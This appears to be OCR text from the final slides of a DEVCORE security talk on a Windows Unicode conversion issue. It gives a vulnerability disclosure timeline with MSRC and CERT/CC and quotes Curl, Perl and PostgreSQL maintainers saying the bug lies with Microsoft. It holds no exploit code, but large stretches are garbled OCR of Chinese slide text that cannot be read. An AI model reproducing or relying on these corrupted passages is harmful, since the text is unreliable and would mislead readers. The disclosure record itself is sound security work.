wscanf scanf




I 1R3ZIHth@ MSRC [OIER. . .

2024/06/13 | Report the Tar issue to MSRC as VULN-127777 Closed
2024/06/19 | Report the i issue to MSRC as VULN-1288124 Closed
2024/06/19 | Report the Excel issue to MSRC as VULN-128122 Closed
2024/06/21 | Report the Excel issue to MSRC as VULN-128235 Closed
2024/07/14 | Report the Excel issue to MSRC as VULN-130207 Accept
2024/08/15 | Report the Tar issue to MSRC through the help of CERT/CC No Response
2024/11/13 | Notify Microsoft that we will present Tar issue at Black Hat Europe | No Response
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E=—1{B Windows $${% [...] Curl i£5&
tMEZEE > MIEZETN—5

This is a Windows feature [..] Curl is a victim here, not the responsible party.

— Curl



BEEREFZRE—(EMENEETIE Perl BYRERE

This seems more like a Microsoft bug than a perl bug...

—  Perl



EF = PostgreSQL BYiEiH

This is not a PostgreSQL vulnerability.
— PostgreSQL



2 - 5Ek{f > {RPIFEBISEIFEY
Windows API {8 SRERIE?

@Microsoft folks, do you see a better way
forward here, given the Windows API?

— PostgreSQL



FPI1IETEER CERT/CC S1F

MBI LIEERESENZE



esy WOTSEFIt,
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% AR TS It

o BA—ERES

o #RoRERfEREFITH Windows AP
o BA—BERAE

o 1B UTF-8 89/ N DT




X

%= V£ A~5Z2#8 Unicode E’ﬁz‘tﬁaﬁ‘rﬁ‘l%ﬁjiﬁﬁﬁﬂ’ﬁ = (A& E) - LERE
S EEN FNFRAFERERE

BRIz & EEE(C):

RPN (8E)

%ta £ Unicode UTF-8 1R & 3K5E




DE\/CORE

Thanksl!

X research@devco.re
X @orange_8361

X @_splitline_




